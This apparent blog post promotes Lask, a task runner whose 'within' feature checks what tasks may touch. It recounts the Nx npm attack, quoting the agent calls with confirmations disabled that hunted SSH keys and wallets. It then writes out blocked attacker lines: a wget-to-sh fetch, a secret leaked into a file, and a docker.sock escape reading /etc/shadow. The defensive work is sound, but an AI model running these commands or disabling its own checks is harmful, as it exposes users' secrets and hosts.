Dev.to AI πŸ€– Ai πŸ‘ 0 πŸ“– 13 min read

AI Guardrails Belong in Your Task Runner: I Built a Tool to Stop Supply Chain Attacks

In August 2025, malicious versions of the npm packages for Nx, a popular build tool, were published. Their postinstall script, which runs on install, contained these lines: claude --dangerously-skip-permissions -p "<p

AI Guardrails Belong in Your Task Runner: I Built a Tool to Stop Supply Chain Attacks

In August 2025, malicious versions of the npm packages for Nx, a popular build tool, were published. Their postinstall script, which runs on install, contained these lines:

claude --dangerously-skip-permissions -p "<prompt>"
gemini --yolo -p "<prompt>"
q chat --trust-all-tools --no-interactive

The malware looked for coding agents installed on the machine and called them with every confirmation turned off. The prompt told them to find SSH keys, .env files and crypto wallets and list them. What they found was pushed to a public repository created in the victim's own GitHub account (The Hacker News).

Coding agents come with guardrails that ask before running a command. Here, one flag took them off. And it wasn't the agent that took them off. It was whatever called the agent.

That made me rethink where guardrails belong. A guardrail built into an agent only works inside the agent. The thing that finally runs the commands is something else: the task runner that calls npm install, and the CI above it. So, as the title says, the task runner is where AI guardrails belong.

I build a task runner called Lask, and I turned this idea into a feature called within. In the second half of this post, I play a malicious agent and try to break it.

https://github.com/lask-task-runner/lask

TL;DR

  • An agent's guardrails only work inside the agent. They don't apply when a person or CI later runs the commands the agent wrote, or when malware calls the agent with a flag that turns them off.
  • The task runner is what finally runs those commands, and it knows which command runs where. That makes it the right place to check what a task may touch.
  • In Lask, you declare on a task which files, network destinations, ports, secrets and environments its commands may use. A task that might exceed that fails before anything runs.
  • I tried to get around it. Here is what it stopped, and what it didn't.

Guardrails only sit on the side being called

A command written by a coding agent runs in one of three situations:

Situation Who runs it Do the agent's guardrails apply?
The agent runs it while working The agent Yes (confirmations, sandbox)
The agent writes it into a Makefile or package.json A person, later, typing make test No
Same CI, holding production keys No

Most of the discussion is about the first row: which commands to allow without asking, how tight to make the sandbox. But the second and third rows hold far more power. Your laptop has your SSH keys and cloud credentials. Your CI has your deploy keys. And in the Nx attack, even the first row's guardrails were switched off by the caller.

Two things usually guard the second and third rows, and both have gaps:

  • Code review. Reading code was never a strong defense against malicious code: the xz Utils backdoor wasn't found by reading it. And AI is making the diffs bigger.
  • CI permissions. GitHub Actions permissions and egress limits do help, but they apply per job. Within a job, the command that installs dependencies and the command that deploys get the same permissions.

What's missing is a check per command, before anything runs.

Who runs the command in the end?

The task runner. make test, npm run build, the steps of your CI job: in the end, a task runner starts each command.

But make and Taskfile don't know where a command runs or what it touches. They hand a string to the shell. You can't check what you don't know.

Turn that around: if the task runner decides which command runs in which environment, it can answer these questions before running anything:

  1. Which files can it read and write?
  2. Where can it connect to?
  3. Which addresses can it open ports on?
  4. Which secrets does it receive, and how?
  5. Does it run directly on the host, or in a container?

Lask runs each command in a container of the Docker image you declared for it. The container's options are written in the file, so all five can be read before anything runs. within compares what it reads against a bound you put on the task.

Adding within

An example

Here are two tasks from the webapp-on-aws example, rewritten with named bounds:

access Contained = { runs: ["container"] }
access NoSecrets = { secrets: false }

// No command in this file runs on the host
within Contained

// No secret reaches it
test() within NoSecrets = do {
  test_api()
  test_web()
}

// The only secrets it gets are the two AWS keys
deploy() within {
  secrets: [aws_access_key_id, aws_secret_access_key]
} = do {
  build_lambda_deps()
  $ terraform -chdir=infra apply -input=false -no-color -auto-approve
  ...
}

access Name = { ... } names a bound, and within Name applies it. within Contained at the top of the file covers every function in it, and a within on a function narrows it further. It can never widen it.

So test() receives no secrets and runs nothing on the host. Lask checks that every command test() reaches, through test_api(), test_web() and whatever they call, stays within that, without running anything.

deploy() does receive secrets, but only the two AWS keys, and only as environment variables. Its bound is written inline because the key names refer to values in this file; a named bound can be imported into other files, so it can only say secrets: false. This is how you separate the task that installs dependencies from the task that holds the keys: per task, not per job.

What you can bound

within has six fields:

Field What it bounds
files What in the project directory it can read and write
volumes Which host paths and volumes it can mount
outbound Where it can connect to
inbound Which addresses it can open ports on
secrets Which secrets it can receive (as environment variables only)
runs Whether it runs on the host or in a container

Every field reads its value the same way:

Value Meaning
omitted unbounded
false nothing
true anything a container can be given (never the host)
array or table only what it lists

Why the settings and the bound are written apart

In Lask, where you configure a container and where you write within are two different places:

// Environment: how the command actually runs
node = #node:24.21.0-alpine3.24{network: "none"}

// Bound: this task may not do more than this
access Offline = { outbound: false }
test() within Offline = $[node] npm test

It looks like saying the same thing twice, but the two do different jobs. The environment says how a command actually runs, and it's spread across helper functions and imported modules. That's also what an AI mostly edits. within is a ceiling, written once at the entry of a task. However the helpers change, the ceiling stays put.

That's also why the names differ. The environment speaks Docker (network, egress, publish); the bound speaks in directions (outbound, inbound).

When it's checked

lask check runs the check, and lask run runs the same check before it runs anything. There's no way to skip it. Forget lask check in CI, and lask run test still fails. Your editor shows the same errors.

How within works. 1: declare a bound on runs, files, outbound, inbound, volumes and secrets at the entry of a task. 2: follow every call from test() through setup() and read what each command reaches. 3: compare. Within the bound is ok; exceeding it is E-TYPE-WITHIN-EXCEEDED; not being able to show it is E-TYPE-WITHIN-UNPROVEN. One error, and nothing runs. People read only the declaration.

A little notation before we go on:

  • #node:24.21.0-alpine3.24 is a Docker image, and #local is the host. {...} after it gives container options.
  • $[env] command runs the command in env.
  • #{...} interpolates a value into a string.
  • A name ending in !! holds a secret.

Experiment: playing the malicious agent

From here on, I play the malicious agent. The rules:

  • The defender adds one declaration to test(), and that's it.
  • The attacker (me) can rewrite setup(), the helper test() calls, however they like. Think of it as the diff you get after asking an AI to "set up the tests."

Here's the defender's file:

// main.lask
access Sealed = {
  runs: ["container"], files: { ".": "ro", "dist": "rw" },
  volumes: false, outbound: false, inbound: false, secrets: false
}

node = #node:24.21.0-alpine3.24{base_access: { ".": "ro", "dist": "rw" }, network: "none"}
token!!: String = get_env("NPM_TOKEN")

setup() = do {
  $[node] npm ci --offline
}

test() within Sealed = do {
  setup()   // <- errors are reported on this line
  $[node] npm test
}

Sealed says: run only in a container, read the project directory but write only dist, no host mounts, no network, no ports, no secrets.

This passes the check. Now let's rewrite setup().

Warming up

Three obvious moves first:

$[#local] npm ci                                     // run it on the host
$[node] echo #{token} > dist/.npmrc                  // slip the secret into a command
$[#node:24.21.0-alpine3.24{publish: ["9229:9229"], network: "none"}] node --inspect=0.0.0.0 test.js   // open a debugger port
E-TYPE-WITHIN-EXCEEDED [static]: #local reaches the whole host, which within Sealed of 'test' does not allow (runs)
E-TYPE-WITHIN-EXCEEDED [static]: the secret 'main.lask: token' is given in the command string, which within Sealed of 'test' does not allow (secrets)
E-TYPE-WITHIN-EXCEEDED [static]: a port is published on 0.0.0.0:9229, which within Sealed of 'test' does not allow (inbound)

All three fail. (I tried them one at a time and dropped the positions.) Each error points at the setup() call inside test(), with the path it followed, like note: reached through test β†’ setup.

The secret is found by following, without running anything, where a !! value flows. The port is found because publish without an address makes Docker listen on every interface.

That much I expected. Time to think harder.

If I write nothing, will it look away?

Maybe it catches me because I write options. So I skip node and make a Node container with no options at all, plus the classic "fetch a script and pipe it to sh":

setup() = do {
  $[#node:24.21.0-alpine3.24] wget -qO- https://example.com/x | sh
}
E-TYPE-WITHIN-EXCEEDED [static]: the network is "default", which within Sealed of 'test' does not allow (outbound)
E-TYPE-WITHIN-EXCEEDED [static]: "." is "rw", wider than "ro", which within Sealed of 'test' does not allow (files)

No luck. With no options, the container joins Docker's default network and gets the project directory mounted read-write. Lask reads those defaults and reports both. What you don't write is checked as its default.

What if the value isn't known until it runs?

Next, I make sure the checker can't know the value. The network setting comes from an environment variable at run time:

setup() = do {
  $[#node:24.21.0-alpine3.24{network: get_env("NET")}] npm ci
}
E-TYPE-WITHIN-UNPROVEN [static]: 'network' is not known here without running the program, so within Sealed of 'test' cannot be shown to hold

It fails too, with a different error: not EXCEEDED but UNPROVEN.

This is the most important property of within: if it can't be shown to stay within the bound, it doesn't pass. A checker that lets unknowns through can be beaten by anyone who makes things unknown.

Escaping to the host from inside a container

Then I'll stay inside a container as far as the checker can tell, and reach the host anyway. Mount the host's Docker socket, have the host's Docker start another container, and mount the host's / into that one. A classic:

setup() = do {
  $[#docker:28-cli{volumes: ["/var/run/docker.sock:/var/run/docker.sock"], network: "none"}] docker run --rm -v /:/host alpine cat /host/etc/shadow
}
E-TYPE-WITHIN-EXCEEDED [static]: the volume "/var/run/docker.sock" gives what the host has, which within Sealed of 'test' does not allow (runs)

Lask knows the paths that hand over the host when mounted: container engine sockets, /proc, /etc and so on. A container that mounts one is treated as running on the host. Even volumes: true won't let it through.

That's six losses for the attacker. Each failed before anything ran, so nothing ran.

Running the Nx payload inside a bound

Back to the Nx attack. Say the task that installs dependencies is declared like this:

access Install = {
  runs: ["container"], files: { ".": "ro", "node_modules": "rw" },
  outbound: ["registry.npmjs.org:443"], inbound: false, volumes: false, secrets: false
}

node = #node:24.21.0-alpine3.24{base_access: { ".": "ro", "node_modules": "rw" }, egress: ["registry.npmjs.org:443"]}

deps() within Install = $[node] npm ci --no-audit --no-fund

egress is the option that limits outbound connections to an allowlist. Suppose deps() installs a bad Nx and the postinstall runs:

  • There's no claude or gemini in the container, so there's no agent to call.
  • It sees only the project directory: no SSH keys, no .env from the host.
  • It can only reach the npm registry, not GitHub. And even if it could, it has no token to send.

You might say: "That's the container doing the work, not within. docker run --network none does the same." Half right. What stops the damage is the container and the container engine.

What within takes on is making sure that isolation is still there tomorrow. Next week, someone (or some AI) adds one line to egress, because "npm ci fails on a package it pulls from GitHub":

node = #node:24.21.0-alpine3.24{base_access: { ".": "ro", "node_modules": "rw" }, egress: ["registry.npmjs.org:443", "api.github.com:443"]}
E-TYPE-WITHIN-EXCEEDED [static]: egress lists "api.github.com:443", which within Install of 'deps' does not allow (outbound)

A hand-written docker run script or a devcontainer config can be loosened the same way, but nothing tells you before it runs. within compares the isolation settings against the bound they must stay in.

To be clear, Lask doesn't detect the bad version of Nx. It detects a mismatch between the declaration and the commands. Its job is to guarantee, before anything runs, that even if malware gets in, there's nothing within reach.

The seventh move

Six losses. But I know one move that always works:

-test() within Sealed = do {
+test() = do {

Delete the declaration and there's nothing to check. within enforces the declaration you wrote; it can't protect the declaration itself.

I still think that's a good trade. Each of the six moves could hide as one line in a diff of dozens. To catch them, a reviewer has to ask "what does this touch?" about every command. The seventh move only works if a within line is deleted or changed. What a person has to read shrinks from every command to the declaration.

"Isn't that the same as putting CODEOWNERS on the Makefile?" The difference is how much you have to read. In a Makefile diff, any line might touch anything, so you read all of it. With within, as long as the declaration hasn't changed, the checker covers the rest.

With within Contained at the top of the file, as in the first example, there's even less to watch. Functions can only narrow it, so as long as that line and its access declaration are unchanged, nothing in the file runs on the host.

To see what a bound actually allows, lask envs access lists every environment on one line each. People look at the declaration and this table and decide "this is fine to run"; the checker makes sure the commands stay within it.

What it doesn't protect

As always, here's what it doesn't cover:

  • The declaration itself. See the seventh move. Changes to it need review.
  • Allowed destinations. If there's a way to send secrets to a destination you allowed, the allowlist won't stop it. That's why tasks that run install scripts shouldn't get secrets.
  • Secrets without !!. The analysis only follows values marked !!.
  • Who connects to a port. inbound bounds only where a port is opened.
  • Image builds. Building from a Dockerfile can't use an egress allowlist; it's either no network or unrestricted.
  • The container engine. At run time, the container engine enforces the boundary. Engine or kernel vulnerabilities are out of scope.
  • The checker's correctness. This is static checking by a type checker, not a machine-checked proof.

Wrapping up

Coding agents' guardrails will keep getting better. But a guardrail inside an agent doesn't protect commands that run outside it. The task runner is what runs those commands in the end. So the ability to write down "what this task may touch" and check it before running belongs in the task runner.

I don't want this to be only about Lask. That said, I build Lask, so this argument conveniently favors my own tool. So here are three things you can take away without using Lask:

  • Put the commands that install dependencies and the commands that use keys in separate jobs or separate containers.
  • Wherever install scripts run, give them no keys, and limit where they can connect.
  • Keep that separation in a form where you'll notice when someone loosens it.

You can do the first two today with a Makefile or your CI config. The third is the hard one. Sooner or later, someone will loosen those settings for a plausible reason. I built Lask because I wanted a machine, not someone's attention span, to catch that.

Lask is pre-1.0, and within is still experimental. Before it becomes stable, I'd love to hear how it works for you, or what bounds you wish you could write.

https://github.com/lask-task-runner/lask/discussions

πŸ“° Read the original article on Dev.to AI

Originally published by Dev.to AI. Aggregated on AIWithGhost for educational purposes β€” full credit and traffic to the original publisher.